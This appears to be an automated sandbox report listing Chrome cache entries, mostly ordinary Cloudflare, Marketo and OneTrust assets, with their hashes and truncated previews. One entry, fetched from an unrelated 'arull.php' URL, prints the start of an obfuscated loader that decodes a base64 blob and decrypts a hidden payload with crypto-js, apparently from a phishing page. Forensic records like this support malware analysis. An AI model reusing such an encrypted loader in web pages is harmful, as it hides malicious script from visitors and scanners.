Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19948), with no line terminators
Category:	downloaded
Size (bytes):	19948
Entropy (8bit):	5.261902742187293
Encrypted:	false
SSDEEP:	384:XriNpnjyMkg8XMtExRN1w29JIOzahXtO2nJ65:GijgSWuanfJ65
MD5:	EC18AF6D41F6F278B6AED3BDABFFA7BC
SHA1:	62C9E2CAB76B888829F3C5335E91C320B22329AE
SHA-256:	8A18D13015336BC184819A5A768447462202EF3105EC511BF42ED8304A7ED94F
SHA-512:	669B0E9A545057ACBDD3B4C8D1D2811EAF4C776F679DA1083E591FF38AE7684467ABACEF5AF3D4AABD9FB7C335692DBCA0DEF63DDAC2CD28D8E14E95680C3511
Malicious:	false
URL:	https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015
Preview:	!function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n\|\|0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]]].join("")}},944:function(e){"use strict";var t="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)\|\|"undefined"!=typeof msCrypto&&"function"==typeof window.msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto);if(t){var n=new Uint8Array(16);e.exports=function(){return t(n),n}}else{var r=new Array(16);e.exports=function(){for(var e,t=0;t<16;t++)0==(3&t)&&(e=4294967296*Math.random()),r[t]=e>>>((3&t)<<3)&255;return r}}},508:function(e,t,n){"use strict";var r=n(944),i=n(343);e.exports=function(e,t,n){var o=t&&n\|\|0;"string"==typeof e&&(t="binary"===e?new Array(16):null,e=null);var a=(e=e\|\|{}).random\|\|(e.rng\|\|r)();if(

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (521)
Category:	downloaded
Size (bytes):	1251
Entropy (8bit):	5.427840135792541
Encrypted:	false
SSDEEP:	24:md7pIgWcbMd+4nMOOeQSfmFtHXRWYxRWZgRK+uKF69FxPg6F/ysbVFyIF/IFKe+b:a7phWziUZcVwYxwTlLxg6FKWrSuCMrlV
MD5:	2C1369DBC49A24864E5B1FF89BBABDDC
SHA1:	DF591D4352DB1676C7ACAE4F32A597B4FCA6B3CF
SHA-256:	A03CD99F7DFEEAB6B2F6091E174787AE426073A157BF436428C08E9B8D1551C6
SHA-512:	CB3C32D42BD59487E6E45A510D9BD34AE761C42F33EBFC2AD8427F7D40B53A2A3ECB1E59B03D179E7D914FCFE4B07D7687438D0D3C645E4EA3913F1C0E6F8920
Malicious:	false
URL:	https://munchkin.marketo.net/munchkin-beta.js
Preview:	/. Copyright (c) 2007-2023, Marketo, Inc. All rights reserved.. * See https://developers.marketo.com/MunchkinLicense.pdf for license terms. * Marketo marketing automation web activity tracking script. * Version: beta r940. */. (function(b){if(!b.Munchkin){var c=b.document,e=[],k,l={fallback:"164"},g=[],m=function(){if(!k){for(;0<e.length;){var f=e.shift();b.MunchkinTracker[f[0]].apply(b.MunchkinTracker,f[1])}k=!0}},n=function(f){var a=c.createElement("script"),b=c.getElementsByTagName("base")[0]\|\|c.getElementsByTagName("script")[0];a.type="text/javascript";a.async=!0;a.src=f;a.onreadystatechange=function(){"complete"!==this.readyState&&"loaded"!==this.readyState\|\|m()};a.onload=m;b.parentNode.insertBefore(a,b)},h={CLICK_LINK:"CLICK_LINK",.VISIT_WEB_PAGE:"visitWebPage",init:function(b){var a;a=l[b];if(!a&&0<g.length){a=b;var c=0,d;if(0!==a.length)for(d=0;d<a.length;d+=1)c+=a.charCodeAt(d);a=g[c%g.length]}a\|\|(a=l.fallback);e.push(["init",arguments]);"150"===a?n("//munchkin-cdn.marketo.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65432)
Category:	dropped
Size (bytes):	1063292
Entropy (8bit):	5.528822372447728
Encrypted:	false
SSDEEP:	24576:vxxa8IY1EaBOmMwprOTMUOGglZbfuWfHifAFFqRlnJgJWb4/NukPfg+7Etyoq:vlIY1EaBOmdHifAFFqRln4/NukPfg+Iq
MD5:	4995156159D6F7C901FD318A27C005F2
SHA1:	68170995FF85F5906214B0B02E898C118563DCD8
SHA-256:	F2C7F1A86ACEC757D20F93B360665F20EC88F125F99413C026C204CCAE00C7CD
SHA-512:	CFFBDDCE8FCF85219F8E10A530D62EDB504032B8EFCF32D29FCC0AF2E52CF8429B8966E6FFD1D69ED1DD1E8C3A06BAC059C0C7983079BB012AED76FC5399D7B8
Malicious:	false
Preview:	(function() {. /! For license information please see qualified-338d726aa00aac921afd.js.LICENSE.txt /.var init=function(e){var t={};function n(i){if(t[i])return t[i].exports;var a=t[i]={i:i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"===typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var a in e)n.d(i,a,function(t){return e[t]}.bind(null,a));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnPrope

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2485
Entropy (8bit):	7.876592005079966
Encrypted:	false
SSDEEP:	48:v/xwXiYbH0Y39tgMknRXn+wq4C/l8ppeOsiPZzY4Jz4hMgzSJun4NNNNNNN5:HcVIY39tgMkRX+wq4mifNvPpYSqnK
MD5:	112AD5F84433E5F46D607F73FB64BD60
SHA1:	A8BF11F3F6099CA49D1CBF73C050EB7E6FBC68B4
SHA-256:	0F84307AD691800E391FCCB42B4BA290A87FEBF001ABEDFBE03B34767D45E441
SHA-512:	A0FDDEC2CECC71AA2FE16EB01AA541051A5FD1B9F0FEAB18413007186826E81C2E582EC7F48F7242FA4142E7BB0105B29D1F11F1062F96D255F743050C97B65C
Malicious:	false
URL:	https://www.cloudflare.com/favicon.ico
Preview:	.PNG........IHDR...`...`......w8....pHYs..........+.....gIDATx^...TU..._..\|_..!.....R....(S...@....A.Si.Y~....#.3E.4.9EJ..h..5....4#D...{o...{.....GO.........y......{....B.x.... ..... ..... ..... ..... ..... ..... ..... ..... ....%.t.&.....P.M...E.vB.G......,..e..3.-....;.Z.uD.....Df;?,t.....K.Q...G..?J...../.R..I.S......T..O$.`=o...#.#...r.[..cG.o{>..t.`...z..A.h..<._]..`k.j....o.n..G.5Y...Q#.e..yx!..c..IM....tz.3.K..O....Z7.E..A.:..K..mY#...J...".."ZS.H..v.b.....%.".....U....".\|.K.....'.v.........y....+cZ.4U..H...Na..w.3.J....\.....J..._.....?.LW.ZI.........l[8....{.r..].....g..N..o..Y....s.. d.O...b.N..fx.s.............a....8........,.R..U.\...S5M.D.....k....x.....K....l..J./.M.v....[h...y......u......{'t..i]+.)yX..`...w.q...+.]Z?."_.S.+EY..\>ct@3.....$N.F."+.z.x..v....~...~w%..}..W_s.X=...x....Y...AR..8R._.V.)qp.:...~-.-6.\|_.3..x..U.h....S^}.\9#S.K....\|.J...:..\|.R..y.!.+..o.~.......F......M.._ ......w...%. ...g.u72.....(.4..9.

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.528554140621409
Encrypted:	false
SSDEEP:	24:tCb8EAua5wui9o8M+JDiCU5G1BeOWM5KViGU/taQcN6Vw:/55w49+rU5CL5K5UFni
MD5:	A62B3B7B93EEBFD53FFBBBE7FEE30FED
SHA1:	1336A9BC91F83F2F88ACDC1A4335333051B8D835
SHA-256:	0B49C3A7766A5F8728B5B3A9DEF5190948E55C31EACDAF6606A0CEF1794B2933
SHA-512:	93A84690BC3DBFC31DE7BD8094FFB6D8AF47864B5973582DF8899ABCAE06B3EC4A50F3A1D35720DEDCB5A562D7F705DCC42D6F34EC2C3C0F530F28C5E18F2D40
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M10.8675 16.2C11.7332 16.2 12.435 15.4982 12.435 14.6325C12.435 13.7668 11.7332 13.065 10.8675 13.065C10.0018 13.065 9.3 13.7668 9.3 14.6325C9.3 15.4982 10.0018 16.2 10.8675 16.2Z" fill="#FF6633"/>.<path d="M15.8925 16.2C16.7582 16.2 17.46 15.4982 17.46 14.6325C17.46 13.7668 16.7582 13.065 15.8925 13.065C15.0268 13.065 14.325 13.7668 14.325 14.6325C14.325 15.4982 15.0268 16.2 15.8925 16.2Z" fill="#FF6633"/>.<path d="M20.91 16.2C21.7757 16.2 22.4775 15.4982 22.4775 14.6325C22.4775 13.7668 21.7757 13.065 20.91 13.065C20.0443 13.065 19.3425 13.7668 19.3425 14.6325C19.3425 15.4982 20.0443 16.2 20.91 16.2Z" fill="#FF6633"/>.<path d="M42 9.05249H6L4.5 10.5525V40.455L6 41.955H42L43.5 40.455V10.5525L42 9.05249ZM40.5 12.0525V17.25H7.5V12.0525H40.5ZM7.5 38.955V20.25H40.5V39L7.5 38.955Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11964), with no line terminators
Category:	dropped
Size (bytes):	11965
Entropy (8bit):	5.346433149868613
Encrypted:	false
SSDEEP:	192:GnUaLMP73g1eKfmwhxoUesnDwVbTeYe+bvoaoQzZSwol/+/3jVzCGd0xgycsjI44:GnUaLMP73g1KwUsDdV+bvoNQzZSwol/y
MD5:	EF020293FB7D5C8F7CF81AD2F2793BEF
SHA1:	08543F8A7C6C81B74C07B82A340D0084C82D3D09
SHA-256:	B1BEFE5B761C5F8A31F350CD03FC3B8F8FA982B4C7EA9909FF968CDF1F1AE14A
SHA-512:	F95F4654AED99A6F41AC2F5408FE49FC77E4CC50EF2857983BF6A2F48F89634CA4910F857D0F5AB78618E1DCA557547969DA2D3FD439868E47AEBB20A4F3E1DA
Malicious:	false
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[253],{86168:function(e,t,n){n.d(t,{Au:function(){return o},cS:function(){return l}});const o=n(96540).createContext({}),l=({children:e})=>e,{Consumer:r}=o},8216:function(e,t,n){n.d(t,{B:function(){return c},k:function(){return i}});var o=n(96540),l=n(54232),r=n(1204);const a=(0,l.FR)()?"https://www.cloudflare-cn.com":"https://www.cloudflare.com";function i(e,t,n=a){const o=(0,l.l1)(t);return"en-us"===e.toLocaleLowerCase()\|\|e.toLocaleLowerCase()===l.q.toLowerCase()?(0,r.CN)(n,o,"/"):(0,r.CN)(n,e.toLowerCase(),o,"/")}const c=(e,t,n=a,r=l.IB)=>[...r.filter((e=>Boolean(e)&&!a.includes("cloudflare-cn.com")&&"zh-hans-cn"!==e.toLowerCase())).map((e=>o.createElement("link",{key:e,rel:"alternate",hrefLang:e.toLocaleLowerCase(),href:i(e,t,n)}))),"/home"===t?o.createElement("link",{key:t,rel:"canonical",href:a}):o.createElement("link",{key:t,rel:"canonical",href:i(e,t,n)})]},61461:fun

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1297), with no line terminators
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.293514597585324
Encrypted:	false
SSDEEP:	24:iawafFNHlvOqQNcFsKYH3abTZgRMGo2imqP8f/zI9Zw9nByoZ9O0hjMHCoBxSYUB:ia1t1lvOqfspHMGr2PM/ztpByMvQH3xK
MD5:	FD57973B0E796D44C65475C8B11E61E1
SHA1:	78778E464F939F444F27B62664ACF30217D388FC
SHA-256:	8F09F94AF47E0BFF5D431A3C579218B177CCE277BEB0C99A6B2AC7069A660D58
SHA-512:	6A3BAA3C69D32AC3A18A1E2CBC3E1A4463999382771329302D868AD0DBC1252F9EEF4FBC150CA90838E394E43FB5B49F50AFFBBAEC5CA51CE7FCD9555F7B7A4D
Malicious:	false
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[174],{31682:function(e,t,n){var o=n(96540);const r=()=>"undefined"!=typeof window?new URLSearchParams(window.location.search):new URLSearchParams;t.A=(e,t)=>{const n=(e=>r().get(e))(e),[a,i]=(0,o.useState)(null===n?t:n);return[a,t=>{i(t);const n=r();if(""!==t.trim()&&"All"!==t?n.set(e,t):n.delete(e),"undefined"!=typeof window){const{protocol:e,pathname:t,host:o}=window.location,r=`${e}//${o}${t}${n.toString()?`?${n.toString()}`:""}`;window.history.replaceState({},"",r)}}]}},3610:function(e,t,n){var o=n(31682);t.A=()=>{const[e]=(0,o.A)("disablePreview",null);return""===e\|\|"true"===e}},63174:function(e,t,n){n.r(t),n.d(t,{default:function(){return l}});var o=n(96540),r=n(89970);var a=n(3610),i=n(9307);var l=()=>{const e="staging"===(0,r._)().targetEnv,t=(0,a.A)();return o.createElement(i.wn,{padding:1,backgroundColor:"blue0",color:"white",id:"preview-mode-banner",display:e?"bl

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	880890
Entropy (8bit):	5.361624799192907
Encrypted:	false
SSDEEP:	24576:PZTeCP4KYwsb8Sz2F5ASoZCqnlL1fGVYott7vpe1xaMyWase7ExIhXEgKbZVb1IZ:PZTeCwKEb8Sz2F5ASoZCqnlRfGVYottR
MD5:	092B5A5064F9E47D8BE57B97A9530EF8
SHA1:	5A35E7936A74D2567D065BFBE1AF61CF2E5C188F
SHA-256:	3F8FE2635A34DC40BD5E1828313B4543347DFC6E2BD6930AB14E0058F6BB412B
SHA-512:	12B0A23E7AB13AF61B0B89C3A9168B9958DF398B0561CA9FE53AD5D37DEEB4011A37A1252652CE2FD69B9EA65F45C97CB2239876CD83FA12DE67F5C3B6E772C5
Malicious:	false
Preview:	!function(){var e={2706:function(e,t,r){"use strict";var n=r(4836);Object.defineProperty(t,"__esModule",{value:!0}),t.encode=function(e){return JSON.stringify(p(e))},t.encodeAsTable=function(e){return p(e)},t.decode=function(e){return function(e){if("number"==typeof e&&e<0)return n(e);var t=new Array(e.length);function r(e){return e in t?t[e]:t[e]=n(e)}function n(t){if(t<0){if(t===i)return;if(t===a)return;if(t===s)return NaN;if(t===u)return 1/0;if(t===c)return-1/0;throw new Error("invalid ARSON index: "+t)}var n=e[t];if(n&&"object"===(0,o.default)(n)){if(Array.isArray(n)){var p=n[0];if("string"==typeof p&&p in l){var h=l[p].reconstruct,g=h();return g&&f.push({reconstruct:h,empty:g,argIndexes:n.slice(1)}),e[t]=g\|\|h(n.slice(1).map(r))}}d.push(n)}return n}var f=[],d=[];return e.forEach((function(e,t){r(t)})),f.forEach((function(e){e.args=e.argIndexes.map(r)})),d.forEach((function(t){Object.keys(t).forEach((function(n){var o=t[n];if("number"==typeof o)if(o<0){if(o===a)return void delete t[

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (745), with CRLF line terminators
Category:	downloaded
Size (bytes):	1314
Entropy (8bit):	5.9244453980532015
Encrypted:	false
SSDEEP:	24:luHbfzBpZXyft3dQ8iH/7/YaXFQkIdeblPdK3HuK23uo0/lA+mmY0o:w7bQF68E7/YajIGllK3uIXq0o
MD5:	23A75DEB134759345ECB2A7912BA75F4
SHA1:	B5C1684634CC851CBBDD195EC20EFA41B922B4DF
SHA-256:	19BC6B3664D7D0616F8FC589C31A6494527BAF9CD0E290F4DAF2E7983D4E52BF
SHA-512:	67E6E77EB2EBAF460BCF0904A84B6284ACCEF9798DEB73D37A17C5A638ABB43BEEE53AF27EE3E6864B67887AA309455C6E5CFA4B8807D09B62945EB4F2692FA0
Malicious:	false
URL:	https://www.linksideas.poc-asia.com/img/arull.php?0096797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3dverbal
Preview:	var watchtower= document.createElement("script");..watchtower.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(watchtower);..watchtower.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiS3ZtR3lUWlgrdHZOWHZqd1dsQ2RNelltYzZWV0krVW9kS200MmtYK3RkN1lWdHlZbmhIcmZEY1doS1VcL3BoVTlmZ0l4MFpmVG9odGdBZ1NUY1htY3RQb1FrbjBmRjA0d1dXM0JycHg1Q1wvOEVtT2VKZHFrS005VVdjSDZBUUdNV0hER2puQU1cL1dpaEZrbHBYaUw2UnFxcEFNYzI5QUN4b1RlUitqY0Y5cnFNcUErRTVDbndpM3UwMzNOaWhrNUoxMEVNd1ZqSXptZnRyRGhmM2VZRnIzdU5zdUxqcWJ4VEM3M0dwZDBPb29tSnFLc3NQdGlLQWpJc1lUNmE1d242Q2U4REZNeHFGamlLSDh3bzY4UjZGRThyejEyZEpscWZvc09QR1hmVURRQ0MyWGFvQkpXS0xsTmU4OUhQN2NLZUZ1VHBLbkNqcDdmd3VUR3JDSlJ2M0VGQXVJWjhaME0zZEJWelZ2T3hPXC9JSUN5K0FiSEp1OWxQTXk1WE1YM2xmQ0xoYlB6ZTlmSUxaNzFQa2NVWnZkbStxR25FMHZNUTJqNkF1K29LZm53N1wvTWNzWU81aEVxMEpaNzVadlBNQXg1Nkt2eWtDcGhkekJiOFwveElIOTY1eVE9PSIsImMiOiI5MiIsImIiOiI1MSIsImQiOiI3NzYxNzQ2MzY4NzQ2Zjc3NjU3MiJ9"));..var sandbank = CryptoJS.PBKDF

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1369
Entropy (8bit):	4.580187745635918
Encrypted:	false
SSDEEP:	24:tCb8EAuv2BE816xpYfjZWcGAtz/O3WTVoQSliwPiOv0OaRtiCpKi/iAmc+AixniN:/1BECNUYMaV1LFzmca2iaH
MD5:	3AC85BA92BF284381A6C1B0EC402A12B
SHA1:	6B6ECF4FB19CF320DF6044A2C9A8B2020178FF28
SHA-256:	109F16A232291E95A8D389EDF4F6920EF16D3760D9C2D458F7E851F9DD2E756F
SHA-512:	648C18296981239E5E244643FBBC4E471B698B97CE901E672BDC2E710074AA5BD5A6EBAF029135D1EE4EBC4FB137E4D5F0B111892A6D0E1D1777F1D412DC1133
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M24.6675 44.8425H23.3325L22.7925 44.5725C22.2 44.2725 8.15247 37.0725 8.15247 22.4325V11.8275L9.44247 10.3275L10.5 10.2C14.8346 9.55012 18.856 7.55647 21.9975 4.5L22.8825 3.51H25.1325L26.01 4.5C29.1565 7.56627 33.1907 9.56104 37.5375 10.2L38.5575 10.3425L39.8475 11.8425V22.4325C39.8475 37.0875 25.8 44.25 25.2075 44.5725L24.6675 44.8425ZM11.1675 13.125V22.4325C11.1675 34.6875 22.5525 41.055 24.015 41.82C25.515 41.07 36.8625 34.6875 36.8625 22.4325V13.125C32.025 12.3621 27.5366 10.1375 24 6.75C20.4674 10.1348 15.9846 12.3592 11.1525 13.125H11.1675Z" fill="#FF6633"/>.<path d="M25.5 14.265H22.5V20.88H25.5V14.265Z" fill="#FF6633"/>.<path d="M29.8192 16.0555L25.1417 20.733L27.263 22.8543L31.9405 18.1768L29.8192 16.0555Z" fill="#FF6633"/>.<path d="M33.735 22.5H27.12V25.5H33.735V22.5Z" fill="#FF6633"/>.<path d="M27.2706 25.1381L25.1493 27.2594L29.8268 31.9369L31.9481 29.8156L27.2706 25.1381

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12331)
Category:	dropped
Size (bytes):	12332
Entropy (8bit):	5.0916439525688215
Encrypted:	false
SSDEEP:	192:3dArCS2Z+j/yQ9TCQxUhW2DPY808LE676SbHDc/7uN0VZG05w:NHSG+j/y2xa3bn7Q+0a0O
MD5:	88A769D2FE35899FD45A332A0A032CC0
SHA1:	514C6C1D8475D17E412849A4C90159517D0FA10A
SHA-256:	CCF00D1923B0131A10E0C6D26F95E5DEE6EBF8621A27E83C5A2F68A2E0093142
SHA-512:	756CC5CD029FC4ADC9100D0DA2F2B0EFB3DF0F2BF894FBA2824019832FEA594EDD40A238A5FFACC205572CC0155F5632D70F54E37EDC0772460F44C69CB76AB8
Malicious:	false
Preview:	!function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}function n(t,e){var n=e.parentNode;n&&h(t,n,e)}function r(t,e){h(t,e,e.childNodes[0])}function o(t){var e=t.parentNode;e&&e.removeChild(t)}function i(t){var e=t.namespaceURI===A?"xlink:href":"src";return t.getAttribute(e)}function a(t,e){var n=t.type.substr(e.length);return!(n&&!E[n.trim()])&&((!k\|\|!t.hasAttribute("nomodule"))&&!(!k&&"module"===n))}function c(t){return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"),e.textContent=t.textContent;for(var n=0;n<t.attributes.length;n++){var r=t.attributes[n];try{r.namespaceURI?e.setAttributeNS(r.namespace

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21229)
Category:	downloaded
Size (bytes):	21230
Entropy (8bit):	5.307634512229094
Encrypted:	false
SSDEEP:	384:TRFZ2wWtdbD5ABwXwLrekrff8eTr+x5RxMc1n9LuJ4vV/:T8wAD5ABwXw+krfflyxzx9n9D/
MD5:	CB08DE8CD375C576ED0391912EFFD122
SHA1:	921977C317F1A06373F63A26A35DDA99F1AF9838
SHA-256:	1505AA0792421F831935F4761A95F31462A3DD097C8BD00AD8E9C765C8065517
SHA-512:	63191331A5C4F5A6C9BC13EE9B9EB4B50DFDAE38235974EE2183903C8167A8303088B3631708F09F7C5AEA15BD202254FD799BBDC0965CE5AD3F088915C66B54
Malicious:	false
URL:	https://ot.www.cloudflare.com/public/vendor/onetrust/scripttemplates/otSDKStub.js
Preview:	var OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}};(m=g=g\|\|{})[m.Days=1]="Days",m[m.Weeks=7]="Weeks",m[m.Months=30]="Months",m[m.Years=365]="Years",(m=i=i\|\|{}).Name="OTGPPConsent",m[m.ChunkSize=4e3]="ChunkSize

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	129418
Entropy (8bit):	5.955981378724436
Encrypted:	false
SSDEEP:	3072:pk1myvXD9d2AMJHfRWVaXkIcfVgKkiMJN+qwjWCAIucJ:C1XD/2aEkIctgKk5gqwjWnc
MD5:	30FB390F2A40966D0B5FAB98BB94864D
SHA1:	BE6DBF5FF51A541E72E1D138C5448D8B01FE6032
SHA-256:	8504B26F353B9B16990A8A42603211806DAE5E475359FA449D6C792853A621CD
SHA-512:	91DA5F3F6F0A18B0D93A1C496028B42B1592CA674F95569DD275E1E688B9608B5F24B065F525CE7797A6F85B9667B8458F7E785FCEFDED9ACA754614FA27AF7F
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1128". height="400" fill="none" viewBox="0 0 1128 400">. <g clip-path="url(#a)">. <path fill="#fff" d="M0 0h1128v400H0z" />. <path fill="url(#b)" d="M0 0h1128v630.645H0z" transform="matrix(-1 0 0 1 1128 -177)" />. </g>. <defs>. <clipPath id="a">. <path fill="#fff" d="M0 0h1128v400H0z" />. </clipPath>. <pattern id="b" width="1" height="1" patternContentUnits="objectBoundingBox">. <use xlink:href="#c" transform="scale(.00049 .00087)" />. </pattern>. <image. xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACAAAAAR5CAYAAABZKuVNAAAABHNCSVQICAgIfAhkiAAAIABJREFUeJzs/Wm25LiVLdyCHq4iVTbm9fu17UqpzIzC/fD7YY4AT20FSWxgzzlG3Ii8CskNWAukGQmjLd////+/taylWcr91s//Fd62PDTxE9KlOGQBc7Gm2YsuxTJyHjO8DR55/olHn+KQRRw3ZTHBiWWCIYRkTcchC/aiS/f5qdcffGdgzotUusCWPnzk/772fgXwpqV4AxeFLNjD9mSsT31Z0+xFl3jEbB/SrAf2pE9xyCKOm7JYy5AnmgFfMkB3ztXPLaWUL71fxEsPBOTcSKULVLpwtX03ADjh3m0tq6cAvKRP

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	6758
Entropy (8bit):	4.759815109482734
Encrypted:	false
SSDEEP:	48:YghQC2P365rDjW6t16HZL9TtbSWF0H1fLFbe:pQjIrDjGHZL9TlzFsLFbe
MD5:	93895CDD3863C54B096D8918C47D6C26
SHA1:	34EE1D385F0CDB7801725A8024DD1F97DFEA7CFB
SHA-256:	F9164E6DE7C84569DCB2EB5C49844A0C5AF07B9A2410A05A691D360BEEECE0FD
SHA-512:	F6A393E933624C4B6A6E2F42040D509D91DE83172F94A707CCA0FB0588A6FFBC2B15FF0F82B358E144603DBB25168B070552443A96271931F27ED4C3D4B36CF0
Malicious:	false
URL:	https://api.www.cloudflare.com/api/v1/marketo/form/2459
Preview:	{"fields":[{"id":"Email","label":"Email:","dataType":"email","validationMessage":"Must be a valid business email.","rowNumber":0,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"CloudFlare_POP__c","label":"CloudFlare POP:","dataType":"hidden","rowNumber":1,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"CountryCode__c","label":"CountryCode:","dataType":"hidden","rowNumber":2,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Lead_Source_Detail__c","label":"Lead Source Detail:","dataType":"hidden","rowNumber":3,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"LeadSource","label":"Person Source:","dataType":"hidden","rowNumber":4,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Accept_Language__c","label":"Accept Language:","dataType":"hidden","rowNumber":5,"columnNumber":0,"requir

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	140
Entropy (8bit):	5.150527707504268
Encrypted:	false
SSDEEP:	3:jmv1IJhyCnaz/p9AnkCDym1UibiC0KsVKJkttl6epkexJCkkRSEqYn:jm0yCnaz/onLDymeibipVXttfpJxJnkB
MD5:	D21DDC940D4F244B6DA426FCFF343FA0
SHA1:	2EEA39896B120E1171625EC9B0ADD7AC556467FC
SHA-256:	806F7EDF7858E5BF1A10517925D5F20165F1F48AF1511617FAA0F74008CC2C4A
SHA-512:	177AFDEDDA6346120B830CFFE477CD86E99603A70FEE3806459B6C123FD347126D06EFE2CBF58B0F46D82DE29F517C360758FED3E79B40F924DDCA8614CEDC4D
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISSAmYwWortrqgtBIFDfyM-aUSBQ02_qTlEgUN4YU_hxIFDQ-obAwSBQ3QsCUCEgUNWZt-bRIFDQuOzRYSBQ1zXUbHEgUNMR13Ng==?alt=proto
